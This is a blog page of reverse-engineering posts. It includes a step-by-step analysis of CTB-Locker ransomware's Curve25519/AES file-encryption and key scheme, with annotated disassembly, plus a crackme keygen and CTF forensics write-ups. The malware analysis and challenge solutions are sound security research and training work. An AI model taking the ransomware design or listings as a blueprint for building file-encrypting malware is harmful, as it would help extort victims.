There are a some articles on the net about CTB-Locker’s modus-operandi. Everyone knows that ZLib is used, AES is used but only few of them mention the use of SHA256+Curve. To explain everything in details I’ll show you how encryption/decryption is done, step by step.

Preamble: HIDDENINFO
HiddenInfo file is the core of the malware, it’s full of precious data. There’s no need to explain every field of the file, a closer look at the first part of it would suffice because it has an important part in the encryption/decryption scheme.

DCE1C1   call    ds:CryptGenRandom
DCE1C7   lea     eax, [ebp+systemTimeAsFileTime]
DCE1CA   push    eax
DCE1CB   call    ds:GetSystemTimeAsFileTime
DCE1D1   call    ds:GetTickCount
DCE1D7   mov     [ebp+gettickcountVal], eax
DCE1DA   call    ds:GetCurrentThreadId
DCE1E0   mov     esi, eax         
DCE1E2   rol     esi, 10h                      ; Shift ThreadID
DCE1E5   call    ds:GetCurrentProcessId 
DCE1EB   xor     eax, esi                      ; ThreadID and ProcessID values inside the same dword
DCE1ED   mov     [ebp+threadID_processID], eax
DCE1F0   mov     esi, 0EB7910h
DCE1F5   lea     edi, [ebp+machineGuid]
DCE1F8   movsd                                 ; Move MachineGUID
DCE1F9   movsd
DCE1FA   movsd
DCE1FB   lea     eax, [ebp+random]             ; Random sequence of bytes
DCE1FE   push    34h                           ; Number of bytes to hash
DCE200   push    eax                           ; Sequence of bytes to hash
DCE201   mov     ecx, ebx                      ; Output buffer
DCE203   movsd
DCE204   call    SHA256                        ; SHA256(random)
DCE209   mov     al, [ebx+1Fh]
DCE20C   and     byte ptr [ebx], 0F8h
DCE20F   push    0E98718h                      ; Basepoint
DCE214   and     al, 3Fh
DCE216   push    ebx                           ; SHA256(random)
DCE217   push    [ebp+outputBuffer]            ; Public key
DCE21A   or      al, 40h
DCE21C   mov     [ebx+1Fh], al
DCE21F   call    curve_25519     

The snippet is part of a procedure I called GenSecretAndPublicKeys. The secret key is obtained applying SHA256 to a random sequence of 0x34 bytes composed by:

   0x14 bytes: from CryptGenRandom function
   0x08 bytes: from GetSystemTimeAsFileTime
   0x04 bytes: from GetTickCount
   0x04 bytes: from (ThreadID ^ ProcessID)
   0x10 bytes: MachineGuid

Curve25519 is used to generate the corresponding public key. You can recognize the algo from Basepoint vector because it’s a 0x09 byte followed by a series of 0x00 bytes (For a quick overview over the Elliptic curve algorithm used by the malware take a look here: http://cr.yp.to/ecdh.html).
GenSecretAndPublicKeys is called two times, so two private and two public keys are created. I name them as ASecret, APublic, BSecret and BPublic.

DCF1E7   mov     [esp+274h+public], offset MasterPublic   ; MPublic key
DCF1EE   push    eax                                      ; BSecret
DCF1EF   lea     eax, [ebp+Shared_1]                      ; Shared_1
DCF1F5   push    eax                                              
DCF1F6   call    curve_25519     
DCF1FB   add     esp, 0Ch
DCF1FE   lea     eax, [ebp+Shared_1]
DCF204   push    20h                                               
DCF206   push    eax                                               
DCF207   lea     ecx, [ebp+aesKey]                        ; Hash is saved here
DCF20A   call    SHA256

SHA256(curve_25519(Shared_1, BSecret, MPublic))
Shared secret computation takes place. MPublic is the Master public key and it’s visible inside the memory address space of the malware. The Master secret key remains on the malicious server. To locate the Master public key is pretty easy because it’s between the information section (sequence of info in various languages) and the “.onion” address. Shared secret is then putted inside SHA256 hash algorithm, and the result is used as a key for AES encryption:

DCF20F   lea     eax, [ebp+aesExpandedKey]
DCF215   push    eax
DCF216   mov     edx, 100h
DCF21B   lea     ecx, [ebp+aesKey]
DCF21E   call    AEXExpandKey
DCF223   add     esp, 0Ch
DCF226   xor     edi, edi
DCF228   lea     ecx, [ebp+aesExpandedKey]
DCF22E   lea     eax, [edi+0EF71ACh]
DCF234   push    ecx
DCF235   push    eax
DCF236   push    eax
DCF237   call    AES_ENCRYPT     ; AES encryption

The malware encrypts a block of bytes (named SecretInfo) composed by:

SecretInfo:
   ASecret              ; a secret key generated by GenSecretAndPublicKeys
   MachineGuid          ; Used to identify the infected machine
   Various information (fixed value, checksum val among others)

Not so hard but it’s better to outline everything:

     ASecret = SHA256(0x34_random_bytes)
     Curve_25519(APublic, ASecret, BasePoint)
     BSecret = SHA256(0x34_random_bytes)
     Curve_25519(BPublic, BSecret, BasePoint)
     Curve_25519(Shared_1, BSecret, MPublic)
     AES_KEY_1 = SHA256(Shared_1)
     Encrypted_SecretInfo = AES_ENCRYPT(SecretInfo, AES_KEY_1)

Part of these informations are saved inside HiddenInfo file, more precisely at the beginning of it:

HiddenInfo:
   +0x00 offset: APublic
   +0x24 offset: BPublic
   +0x44 offset: Encrypted_SecretInfo

So, two public keys are visible, but private key ASecret is encrypted. It’s impossible to get the real ASecret value without the AES key…
Ok, now that you know how HiddenInfo file is created I can start with the file encryption scheme.

CTB-Locker file encryption

C74834   lea     eax, [ebp+50h+var_124]   ; Hash will be saved here
C7483A   push    eax             
C7483B   lea     eax, [ebp+50h+var_E4]
C74841   push    30h             
C74843   lea     edi, [ebp+50h+var_D4]
C74849   push    eax                      ; 0x30 random bytes
C7484A   rep movsd               
C7484C   call    SHA256Hash
   ...
C7486E   push    eax                      ; BasePoint
C7486F   lea     eax, [ebp+50h+var_124]
C74875   push    eax                      ; CSecret: SHA256(0x30_random_bytes)
C74876   lea     eax, [ebp+50h+var_B4]
C74879   push    eax                      ; CPublic
C7487A   call    curve25519               ; Generate a public key
C7487F   push    offset dword_C943B8      ; DPublic: first 32 bytes of HiddenInfo (*)
C74884   lea     eax, [ebp+50h+var_124]
C7488A   push    eax                      ; CSecret
C7488B   lea     eax, [ebp+50h+var_164]
C74891   push    eax                      ; Shared_2
C74892   call    curve25519               ; Generate shared secret
C74897   lea     eax, [ebp+50h+var_144]
C7489D   push    eax
C7489E   lea     eax, [ebp+50h+var_164]
C748A4   push    20h
C748A6   push    eax                      ; Shared_2
C748A7   call    SHA256Hash               ; SHA256(Shared_2)
   ...
C74955   push    34h
C74957   push    [ebp+50h+var_18]         ; Compression level: 3
C7495A   lea     eax, [ebp+50h+PointerToFileToEncrypt]
C7495D   push    eax                      ; Original file bytes to compress
C7495E   call    ZLibCompress    
   ...
C74B1F   push    [ebp+50h+var_4]
C74B22   lea     ecx, [ebp+50h+expandedKey]   ; SHA256(Share_2) is used as key
C74B28   push    [ebp+50h+var_4]
C74B2B   call    AES_Encrypt                  ; It encrypts 16 bytes per round starting from the first 16 bytes of the ZLib compressed file
C74B30   add     [ebp+50h+var_4], 10h 
C74B34   dec     ebx                          ; Decrease the pointer to the bytes to encrypt
C74B35   jnz     short loc_C74B1F             ; Jump up and encrypt the next 16 bytes

It’s quite easy indeed, it uses the same functions (SHA256, Curve, AES). To understand what’s going on you only have to follow the code. The operations sequence is:

     CSecret = SHA256(0x30_random_bytes)
     Curve_25519(CPublic, CSecret, BasePoint)
     Curve_15519(Shared_2, CSecret, APublic) (*)
     AES_KEY_2 = SHA256(Shared_2)
     ZLibFile = ZLibCompress(OriginalFile)
     Encrypted_File = AES_Encrypt(ZLibFile, AES_KEY2)

(*) DPublic inside the disassembled code is indeed APublic (first 32 bytes of HiddenInfo)

That’s the way how CTB-Locker encrypts the bytes of the orginal file. These bytes are saved into the new compromised file with some more data. A typical compromised file has the next structure:

   +0x00 offset: CPublic
   +0x20 offset: AES_Encrypt(InfoVector, AES_KEY_2)
   +0x30 offset: AES_Encrypt(ZLibFile, AES_KEY2)

InfoVector is a sequence of 16 bytes with the first four equals to “CTB1”, this tag word is used to check the correctness of the key provided by the server during the decryption routine.
The decryption demonstration feature, implemented by the malware to prove that it can restore the file, uses
AES_KEY_2 directly. If you remember the key was saved inside HiddenInfo, there are a total of five saved keys.
In this case if you have CSecret you can easily follow the process described above (remember that APublic comes from the first 32 bytes of HiddenInfo), but without CSecret it’s impossible to restore the original files.

It’s important to note that in the encryption process CTB-Locker doesn’t need an open internet connection. It doesn’t send keys/data to the server, it simply encrypts everything! Internet connection is needed in the decryption part only.

CTB-Locker file decryption
At some point, before the real decryption process, there’s a data exchange between the infected machine and the malicious server. The malware sends a block of bytes (taken from HiddenInfo) to the server and the server replies sending back the unique decryption key. The block is composed by the BPublic key, SecretInfo and some minor things:

DataToServer:
   32 bytes: BPublic
   90 bytes: SecretInfo
   16 bytes: general info

The malware uses the key to restore the files. Do you remember the decryption part from my last post? Well, the real decryption scheme is not so different. There’s one more step, the calculation of the AES key. To do that the unique key sent by the server is used to decrypt every file:

     curve_25519(Shared, Unique_Key, first_0x20_byte_from_compromised_file)
     AES_DECRYPTION_KEY = SHA256(Shared)
     ZLibFile = AES_Decrypt(Encrypted_File, AES_DECRYPTION_KEY)
     OriginalFile = ZLibDecompress(ZLibFile)

The unique key is sent just one time, so the decryption method needs only one key to decrypt all the compromised files. How is it possible?

My explanation
From HiddenInfo part I have:
     Curve_25519(APublic, Asecret, BasePoint)
     Curve_25519(BPublic, BSecret, BasePoint)
     Curve_25519(Shared_1, BSecret, MPublic)
     AES_KEY_1 = SHA256(Shared_1)
     Encrypted_SecretInfo = AES_ENCRYPT(SecretInfo, AES_KEY_1)

The server receives DataToServer and it applies the principle of elliptic curve:

     Curve_25519(Shared_1, MSecret, BPublic)

Shared_1 from the server is equal to Shared_1 calculated in the HiddenInfo creation part.
Now, with Shared_1 it AES decrypts SecretInfo obtaining ASecret key. ASecret is the key used to decrypt all the compromised files.

From Encryption part:
     Curve_25519(CPublic, CSecret, BasePoint)
     Curve_15519(Shared_2, CSecret, APublic)
     AES_KEY_2 = SHA256(Shared_2)
     ZLibFile = ZLibCompress(OriginalFile)
     Encrypted_File = AES_Encrypt(ZLibFile, AES_KEY_2)

Saying that, here is how to use ASecret in the decryption process (applying the same EC principle):
     Curve_25519(Shared_2, ASecret, CPublic)
     AES_KEY_2 = SHA256(Shared_2)
     ZLibFile = AES_Decrypt(Encrypted_File, AES_KEY_2)
     OriginalFile =ZLibDecompress(ZLibFile)

So, ASecret is the Unique_Key computed by the server and it’s used to decrypt every file. That means one thing only, without MSecret you can’t restore your original files…

Final thoughts
There’s nothing much to say really. CTB-Locker is dangerous and it will damage systems until people will do double-click over attachments.. sad but true.

Feel free to contact me for comments, criticisms, suggestions, etcetc!

Share this:

  • Twitter
  • LinkedIn
  • Facebook
  • Reddit

Like this:

Like Loading...

CTB-Locker: files decryption demonstration feature

Posted by zairon on February 9, 2015
Posted in: General, Malware, reverse code engineering. 43 Comments

The idea of this blog post was born after reading an italian article about CTB-Locker. I don’t remember where I read it, but a single phrase caught my attention. It sounds like: “the malware proves that it’s able to decrypt some files, so the keys are saved somewhere”. I received a CTB-Locker sample on my personal mail box, so I decided to give it a try, just to satisfy my curiosity.
The post is based on a reversing session over a single file (810d51f6a5b4f8396ecf9407e427b999b316ecc28d53a759401143442b1a5cf8), but I think you can apply the general scheme to another sample of the same family.

Basically, all the information required by the malware are saved inside two distinct files: HelpFile and HiddenInfo. You won’t find these two files on an infected machine because these are confidential names I used while I was reversing the malware, the real names are generated following a precise scheme. To understand how the real names are generated I have to introduce the very first crypto scheme used by the malware, this is very important for the entire encryption/decryption process.

Everything starts from the value of the key:
HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid
The malware removes ‘–‘, converting everything into a sequence of 32 bytes (i.e. “463109ab-151a-463a-348e-79bbc9369cbd” becomes b’\x46\x31\x09\xab\x15\x1a\x46\x3a\x34\x8e\x79\xbb\xc9\x36\x9c\xbd’). Then SHA256 is applied:
CoreHash = SHA256(converted_MachineGUID)

CoreHash is composed by 8 dwords and each one of them is used for a specific job, for this blog post I’ll focus on the first and fourth dwords.

The HelpFile real name is constructed calling the next function with the CoreHash’s fourth dword as input:

RandomNameGeneration

Random file name generation

The real name is 7 bytes long and every single char is built after two simple math operations. HelpFile has “.html” extension and it’s used to show ransom info to the infected user, it’s just like a *FAQ* page on how to restore all the compromised files. The message is available in four languages: de, it, nl and en.

FAQ

FAQ

This is the it version, but you can easily identify the server addresses, the tor access and the public keys. The last part of the file contains the list of the compromised files. Well… interesting but the keys I was searching for are not here!

The real name of HiddenInfo is obtained in the same way, but this time the parameter passed to the routine is the first dword of CoreHash. The file is without extension, it’s an hidden file and there are 0x28E meaningless bytes inside.
HiddenInfo is very important and it has a specific format, but everything is visible after a quite simple decryption process.

The malware uses AES:

DD1163 mov ecx, 0EF93F8h            ; Decryption key: CoreHash
DD1168 call AESExpandKey
...
DD1181 lea edi, [esi+27Eh]          ; Decryption starts from block at offset 0x27E
DD1187 Decrypt_32_bytes_block:
DD1187 lea eax, [ebp+expandedKey]   
DD118D push eax
DD118E push edi                     ; Block to decrypt
DD118F push edi                     ; Output buffer (bytes are replaced)
DD1190 call AESDecrypt
DD1195 add esp, 0Ch
DD1198 dec [ebp+arg_0]              ; initial value is 0x27E
DD119B dec edi                      ; Update the pointer to the block to decrypt
DD119C cmp [ebp+arg_0], 0
DD11A0 jge Decrypt_32_bytes_block

I told you it’s simple.
This file is important for the malware, and to be sure of its integrity the malware uses a checksum algo over the first 0x28C decrypted bytes:

DD11A2 push 28Ch                    ; Number of bytes used for the checksum
DD11A7 mov ecx, esi                 ; Sequence of 0x28E decrypted bytes
DD11A9 call Checksum                ; ax gets the final value
DD11AE pop ecx
DD11AF pop edi
DD11B0 cmp [esi+28Ch], ax           ; Is checksum ok?
DD11B7 jnz short corrupted_file

The value from the last two bytes of HiddenInfo is the valid checksum value, it was calculated during the encryption process. If the checksum is ok, at the end of the procedure you have the clean and readable HiddenInfo file. It’s full of hidden info, but in this case I’m interested in a minor part of the file only. Let’s start with this interesting block of 160 bytes:

5Keys

5 keys in sequence

What’s behind the selected bytes starting from 0xEC offset? It’s the sequence of 5 keys used by the malware in the demonstration process to correctly decrypt 5 files. I have 5 keys and nothing else, the malware doesn’t specify the name of the files associated to the defined keys. To get the list of the 5 files I had to reverse the malware a little bit more, look here:

TryDecryptCandidate

Decrypt candidate file

The idea is simple: it tries to apply the keys to every single compromised file. It stops the process when all the right candidate files are found. The malware has a complete list of the compromised files. How does he know what’s the right key?

CheckDecrypted

Check decrypted candidate

As you can see, in order to pass the *key test*, the malware decrypts a little part of the candidate file only (bytes from 0x20 to 0x2F offset). The resulting 16 bytes of a valid candidate are:
4 bytes: unique string “CTB1”, it’s the same for every compromised file
4 bytes: number of bytes of the original file
4 bytes: number of bytes of the compromised file
4 bytes: fixed value 1
The first and last dword are used in the key check. In the end of all, there are two simple checks to get the connection between a candidate file and his key.

Now that the key has been found the malware is ready to restore the original file. This is done in two distinct steps, and it involves the entire file except the first initial 0x30 bytes.

DCE780 mov [ebp+var_8], eax
DCE783 decrypt_next_block: 
DCE783 lea eax, [ebp+expandedKey]
DCE789 push eax
DCE78A push [ebp+var_4]             ; Buffer of 16 bytes to decrypt 
DCE78D push [ebp+var_4]             ; Save the result in the same buffer
DCE790 call AESDecrypt              ; Decrypt the current block
DCE795 add [ebp+var_4], 10h         ; Switch to the next block
DCE799 add esp, 0Ch
DCE79C dec [ebp+var_8]              ; Update the number of block to decrypt
DCE79F jnz short decrypt_next_block

Decryption is done in blocks of 32 bytes (16 from the file and 16 equals to 0x00). The last step consists in a Zlib decompression (the compression is done with level 3).
Now you have your original file back.

Conclusion: the CTB-Locker demonstration process works with some files only and the keys are all hardcoded inside HiddenInfo file, it’s impossible to restore other files following this method.

Curiosity satisfied, see you soon!

Share this:

  • Twitter
  • LinkedIn
  • Facebook
  • Reddit

Like this:

Like Loading...

Nullcon HackIM 2015: Forensics 500 writeup

Posted by zairon on January 19, 2015
Posted in: Challenge, CTF, Forensics, General. Leave a comment

To complete the level I have to find the size of a pagefile stored inside a 4Gb file.

First of all I tried to understand what kind of file is this:

python filehunter.py -l Image

python filehunter.py -l Image

ELF at the beginning, FileHunter reveals some more info about it:

python filehunter.py -d 0 ELF Image

python filehunter.py -d 0 ELF Image

Hmm, the type of the first three entries is ok but the last one seems to be odd. What’s ‘pmem’?
Looking at the start offset I hoped to find a familiar header:

python filehunter.py -sb 0x7ff7e120 Image

python filehunter.py -sb 0x7ff7e120 Image

WinPMEM was used to dump memory, this tool can also acquire pagefile and it’s included inside Rekall Memory Forensic Framework. To get the right answer for this forensics level I used Rekall:

rekal.exe -f Image / pagefiles

rekal.exe -f Image / pagefiles

‘-f’ option is used to load the image file. Once the file has been loaded I tried the ‘pagefiles’ command. Rekall is able to show the size of the pagefile: 2146951168

Flag is: flag{2146951168}

PS. look at the end of the Image file, there’s another pmem header showing the answer. 500 points in few seconds… easy money!

# PMEM
---
PreviousHeader: 0x7ff7e120
PagefileOffset: 0x7ff7e1f5
PagefileSize: 0x7ff7e000

Share this:

  • Twitter
  • LinkedIn
  • Facebook
  • Reddit

Like this:

Like Loading...

Solution to Kirjava crackme#3: a simple virtual machine

Posted by zairon on January 11, 2015
Posted in: Challenge, General, reverse code engineering. Leave a comment

Here’s my solution to a nice crackme, not so hard but enjoyable. The crackme rules are simple:
1. No patching!
2. A valid solution has a keygen and a tutorial!
Extra info: just a very simple algo with some anti-analysis tricks

The crackme is not packed/protected, I decided to start looking at the disasm output.
GetDlgItemTextA function is used to read both name and serial. Once the checks over name and serial are passed (strlen(name) > 4, strlen(serial) == 8) you’ll face the next snippet:

403ED0 nop
403ED1 mov ecx, dword_40ADB0
403ED7 call 4033A0
403EDC test eax, eax
403EDE jz short loc_403ED0
403EE0 mov ecx, dword_40ADB0
403EE6 cmp dword ptr [ecx+4], 0FFh
403EED mov esi, ecx
403EEF jnz short loc_403F19
...
Show congratulation box
...
403F16 retn 10h
403F19
...
Show error notification box
...
403F3E retn 10h

It’s obvious, first of all I have to understand what’s the content of the procedure at 0x4033A0 address is. The procedure’s code is really long but a trained eye understands immediately what’s behind everything. Why? Mainly because there’s a big switch, and there are a lot of snippets with common things like “esi+0C”, “esi+438”, “add ecx, value”. When I face this kind of algorithm I always start trying to verify if it’s an implementation of a Virtual Machine or not. I could be wrong but most of the time VM protections are easily identificable. To verify the correctness of my assumption is quite easy, a glance to the snippets used to implement VM instructions is enough.

(0x00: nop):
403A45 nop
403A46 add [esi+438h], ebx   <-- update eip by 1
403A4C pop edi
403A4D pop esi
403A4E xor eax, eax
403A50 pop ebx
403A51 retn

This is the first snippet I checked, it only adds one to the dword pointed by esi+0x438. That’s a nop, almost every VM has a nop instruction.
Let’s take a look to another snippet:

(0x61: mov reg_i, dword_val):
4036F4 mov ecx, esi
4036F6 call loc_403360
4036FB test al, al
4036FD jz loc_40342F
403703 mov eax, [esi+438h]   <-- eip
403709 movzx edx, byte ptr [eax+1]   <-- register index
40370D mov eax, [eax+2]   <-- dword value
403710 mov [esi+edx*4+0Ch], eax   <-- save the value inside register
403714 add dword ptr [esi+438h], 6   <--- update eip
40371B pop edi
40371C pop esi
40371D xor eax, eax
40371F pop ebx
403720 retn

The snippet is used to move a dword value inside a register. The instruction has two parameters, the register index and the value to move.
As you can see it’s really easy to understand every single snippet with a possible VM implementation in mind.

The VM implemented inside the crackme is simple:
eip is stored at [esi+0x438]
flag is stored at [esi+0x42]
there are 8 dword registers stored from [esi+0xc] to [esi+0x28]
starting from [esi+0x2c] there’s a private memory buffer

It’s all quite easy except the memory buffer that needs some more details. The memory buffer used by the VM contains data that are not stored in a sequential way. What does it mean? Think of a memory buffer like a dword sequence where each bytes inside a dword has a specific meaning:
1° byte: is used to store the username’s chars
2° byte: is used to store the right_serial’s chars
3° byte: is used to store the fake serial’s chars
4° byte: you can live without knowing its meaning
So, an hypotetical piece of memory could be:

[esi+0x2c]: 5A 59 31 00   61 69 32 00   69 59 33 00 ...

where you can clearly see part of the username (“Zai”), part of the right serial (“YiY”) and part of the fake serial (“123”).
How does the crackme read a specific byte from the username, or the serial? The memory is addressed by a dword at [esi+0x42c], each byte of the dword is used as an index position of a specific byte of the username/right serial/fake serial.
i.e.: [esi+0x42c] = 02 00 01 00 means that the next operation over the:
– username will be done with the 1° byte of the 3° dword of the memory buffer (char ‘i’ of “Zai”)
– right serial will be done with the 2° byte of the 1° dword of the memory buffer (char ‘Y’)
– serial will be done with the 3° byte of the 2° dword of the memory buffer (char ‘2’)

Having said that, here is a description of the 0x62 VM opcode used to move a byte from memory buffer to a register.

mov reg_i, memory_buffer_j:
00403750 mov ecx, esi ; case 0x62
00403752 call loc_403360
00403757 test al, al
00403759 jz loc_40342F
0040375F mov eax, [esi+438h]   <-- eip
00403765 movzx ecx, byte ptr [eax+2]   <-- 2° operand
00403769 movzx edx, byte ptr [ecx+esi+42Ch]   <-- memory index position (refer to name, fake serial or right serial position)
00403771 movzx eax, byte ptr [eax+1]   <-- 1° operand
00403775 lea ecx, [ecx+edx*4+2Ch]   <-- position inside memory
00403779 movzx edx, byte ptr [ecx+esi]   <-- get byte from memory buffer
0040377D mov [esi+eax*4+0Ch], edx   <-- store byte into register
00403781 mov ecx, [esi+438h]
00403787 movzx edx, byte ptr [ecx+2]
0040378B add [edx+esi+42Ch], bl   <-- add 1 to the memory index position
00403792 add dword ptr [esi+438h], 3   <-- eip update
00403799 lea eax, [edx+esi+42Ch]
004037A0 pop edi
004037A1 pop esi
004037A2 xor eax, eax
004037A4 pop ebx
004037A5 retn

Every VM memory operation has the ability to increment the index memory pointer value, memory is read/write in sequential order.

Just another thing and then I’ll show you the complete algorithm with a simple keygen. Do you remember when I said “flag is stored at [esi+0x42]”? The VM has some conditional jump instructions and the only way to decide to jump or not depends on the value of a specific flag. This VM has one single flag, it takes 3 possible values: 1, 2 or 3 according to the result of a VM instruction like this one:

(0x81: cmp reg_i_val, dword_val):
40397C mov ecx, esi
40397E call loc_403360
403983 test al, al
403985 jz loc_40342F
40398B mov edx, [esi+438h]   <-- eip
403991 movzx ecx, byte ptr [edx+1]   <-- 1° parameter: reg index
403995 mov eax, [esi+ecx*4+0Ch]   <-- get dword value from reg
403999 mov ecx, [edx+2]   <-- 2° parameter: dword value
40399C cmp eax, ecx   <-- compare the two dword values
40399E jnz short loc_4039B2
4039A0 add edx, 6
4039A3 pop edi
4039A4 mov [esi+8], bl   <-- values are equal: flag = 1
4039A7 mov [esi+438h], edx
..
4039B8 mov byte ptr [esi+8], 3   <-- flag value 3
...
4039CB mov byte ptr [esi+8], 2   <-- flag value 2

There’s a compare between two values, one from a register and the other from a dword value. The flag at [esi+8] is updated depending on the compare result.
You can now imagine how a conditional jump instruction looks like:

4038C3 cmp byte ptr [esi+8], 2   <-- check flag value
4038C7 jnz loc_4035F9
4038CD sub ecx, [ecx+1]   <-- get the jump offset value
4038D0 pop edi
4038D1 mov [esi+438h], ecx   <-- jump!
...
4035F9 add ecx, 5   <-- add length conditional jump instruction
4035FC pop edi
4035FD mov [esi+438h], ecx   <-- update eip

The VM instructions are taken starting from 0x40A000, here is the initial byte sequence:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 01 00 00 00 00 61 02 00 00 00 00...

I showed you few instructions but the VM instruction set is simple, there are basically almost all the instructions of an x86 instruction set: mov, cmp, conditional jump and direct jump. Parameters are stored using little-endian system. The VM doesn’t have call instructions, and so it doesn’t need a real stack implementation.

The interesting part of the VM algorithm is:

0:   00                  nop 
     00                  nop
     00                  nop            
     00                  nop 
     00                  nop 
     00                  nop 
     00                  nop 
     00                  nop  
     00                  nop 
     00                  nop 
     00                  nop 
     00                  nop 
     00                  nop 
     00                  nop
     61 01 00 00 00 00   mov reg_1, 0x00000000 
     61 02 00 00 00 00   mov reg_2, 0x00000000 
     61 03 00 00 00 00   mov reg_3, 0x00000000
     61 04 00 00 00 00   mov reg_4, 0x00000000
     61 06 00 00 00 00   mov reg_6, 0x00000000
     61 07 00 00 00 00   mov reg_7, 0x00000000
     61 00 00 00 00 00   mov reg_0, 0x00000000
     20 00 00            mov m_0, 0x00
     00                  nop 
     20 00 01            mov m_0, 1
3F:  40 02               jmp $+2
41:  00                  nop 
42:  05 04               inc reg_4
     00                  nop 
     62 01 00            mov reg_1, m_0   <-- get current char from name
     00                  nop 
     81 01 00 00 00 00   cmp reg_1, 0x00000000
     00                  nop
     01 01               add reg_5, reg_0, reg_1
     00                  nop 
     60 05 00            mov reg_0, reg_5
     00                  nop 
57:  54 15 00 00 00      ja $-0x00000015
     00                  nop 
     06 04               dec reg_4
     00                  nop
     60 00 03            mov reg_3, reg_0
     13 AC DC 00 00      mul reg_5, reg_0, 0x0000DCAC
     61 07 4A 00 00 00   mov reg_7, 0x0000004A
6E:  40 02               jmp $+2
     00                  nop 
     63 07 03            mov m_3, reg_7
74:  46 06               loop $-0x06
     00                  nop 
     00                  nop  
     00                  nop 
     60 05 00            mov reg_0, reg_5
     00                  nop 
     17 88 77 66 55      xor reg_5, reg_0, 0x55667788
     00                  nop 
     60 05 00            mov reg_0, reg_5 
     00                  nop 
     14 15 00 00 00      div reg_5, reg_0, 0x00000015
     00                  nop 
     60 05 00            mov reg_0, reg_5
     00                  nop 
     03 06               mul reg_5, reg_0, reg_6
     60 05 00            mov reg_0, reg_5
     00                  nop 
     03 04               mul reg_5, reg_0, reg_4
     60 05 00            mov reg_0, reg_5 
     60 00 01            mov reg_0, reg_1 
     61 07 08 00 00 00   mov reg_7, 0x00000008 
A5:  14 3C 00 00 00      div reg_5, reg_0, 0x0000003C
     60 06 00            mov reg_0, reg_6 
     11 41 00 00 00      add reg_5, reg_0, 0x00000041
     60 05 00            mov reg_0, reg_5 
     63 00 01            mov m_1, reg_0           <-- save right serial char
     03 01               mul reg_5, reg_0, reg_1
     60 05 00            mov reg_0, reg_5 
     07 01               xor reg_5, reg_0, reg_1
     60 05 00            mov reg_0, reg_5 
     03 04               mul reg_5, reg_0, reg_4
     60 05 00            mov reg_0, reg_5 
     07 06               xor reg_5, reg_0, reg_6  
     60 05 00            mov reg_0, reg_5 
     17 00 BB 00 DD      xor reg_5, reg_0, 0xDD00BB00
     60 05 01            mov reg_1, reg_5 
D4:  45 2F               jnz_7 $-0x2F
     61 07 07 00 00 00   mov reg_7, 0x00000007 
     20 00 02            mov m_pos_2, 0x00       <-- my fake serial 
     20 00 01            mov m_pos_1, 0x00       <-- right serial
E2:  62 01 02            mov reg_1, memory_buffer_2
     62 02 01            mov reg_2, memory_buffer_1
     85 01 02            cmp reg_1, reg_2
     43 10 00 00 00      jb $+0x00000010
     44 0B 00 00 00      ja $+0x0000000B
F5:  45 13               jnz_7 $-0x13
     00                  nop  
     00                  nop 
     00                  nop 
     FF                  VM_SUCCESS

The implemented algorithm is quite easy, once you have the instructions sequence on a paper you can easily write a keygen. Here is a quick and dirty implementation of the keygen:

   sum = 0;
   for(int i=0;i< strlen(name);i++) 
      sum += (__int8)name[i];
   sum = (sum * 0xDCAC) ^ 0x55667788;
   q = sum / 0x15;
   r = sum % 0x15;
   len = strlen(name);
   tmp1 = (q * r) * len;	
   tmp2 = tmp1;
   for(int j=0;j<8;j++) {
      r = tmp2 % 0x3c;
      serial[j] = (char)(r + 0x41);
      tmp2 = ((((tmp1 * (__int32)serial[j]) ^ tmp1) * len) ^ r);
      tmp1 = tmp2 ^ 0xDD00BB00;
   }

Valid combinations are:
ZaiRoN / YiYaiQMm
crackmes.de / nmUQuME]
reversing / emAMy]Qy

That’s all folks!

Share this:

  • Twitter
  • LinkedIn
  • Facebook
  • Reddit

Like this:

Like Loading...

My FileHunter forensic tool versus Sans Holiday Challenge 2014

Posted by zairon on January 8, 2015
Posted in: Challenge, Forensics, General. 3 Comments

The challenge deadline has arrived and a lot of writeups are coming out from various blog pages. The solutions of the first two parts are similar, but the last part has been solved approaching the problem in many ways.  As far as I’ve seen the most common approach is guided by the Linux mount command, but I’ve seen the use of Autopsy, Foremost, X-Ways Forensics and The Sleuth Kit just to mention some tools. I don’t know many of them, and I don’t even know that my FileHunter program is quite similar to Foremost.

Anyway, FileHunter (FH in the rest of the post) is a Python program, and the aim is to search for file signatures inside a generic file (it could be an image, a raw dump, a doc file, everything).
Show Signature

Here is the first thing to do, call the program passing the file to analyze as parameter. FH tries to understand all the possible file types contained inside the input file. With this simple invocation FH doesn’t check if one file is inside another one or not, it simply shows everything it’s able to recognize; the check is done over specific file signatures only. The offset is in decimal value.
When I saw the output I felt quite happy because the tool can extract all the displayed types except the DOC (I’m still working it).
ExtractAll12 files revealed but just 7 saved as correct files (except the DOC file of course). Why? Two options: some files are included in the previous saved file(s) or there is one or more false positive. The answer is a combination of both options.

So, seems like I have the necessary files except one. How can I extract the DOC?
The DOC class is incomplete because the extraction feature is not yet implemented but, like all the other types, it’s possible to see some details about the header.
Details

“-d” option is used to get details about a specific file type at a certain location. Type and location are both passed via command line. These are the info I have added for a DOC type, nothing special I know but this type is still under development. I can’t say too much from the output, but I’m almost sure it’s a real DOC file: sector and mini stream sector have standard values, Word.Document exists and Root Entry is where it should be:
Show bytesOk, I have the starting point but not the end of the file. Can I guess it? Looking at the DOC details I know that the Word.Document keyword is at offset 2581068, it’s after some revealed file signatures (look at the first picture) and it’s higher than the other interesting values (like Directory or Mini FAT starting location). Taking a look at the bytes after 2581068 offset you’ll see a lot of 0x00 bytes followed by a JPEG file signature. Could it be a good end point for the DOC file? I think I can try to extract the DOC file stopping some bytes after offset 2581068 (it doesn’t matter if you don’t get the right end point of the original file):
ExtractFile has been saved and I can view it with Word or OpenOffice or any other .doc viewer.
With all the necessary files I was able to locate every single secret message.

In the end, this is just an excerpt of FH. It’s based on Foremost principle but it has more features and I think it can be handy from time to time.

If you want to read some Sans Holiday Challenge 2014 complete solutions take a look at:
http://blog.superponible.com/2015/01/05/2014-sans-holiday-challenge/
https://jordan-wright.github.io/blog/2015/01/05/sans-holiday-challenge-2014-writeup/
http://hatsoffsecurity.com/2015/01/03/sans-christmas-hacking-challenge/

Share this:

  • Twitter
  • LinkedIn
  • Facebook
  • Reddit

Like this:

Like Loading...

Posts navigation

← Older Entries
  • Recent Posts

    • Prothemus1: Python script creates malicious document
    • From RTF to Cobalt Strike passing via Flash
    • Quick post: GlblcntUsage value
    • Another CTB-Locker related e-mail inside my junk box
    • Snippet Detector
  • Archives

    • August 2017
    • February 2017
    • April 2015
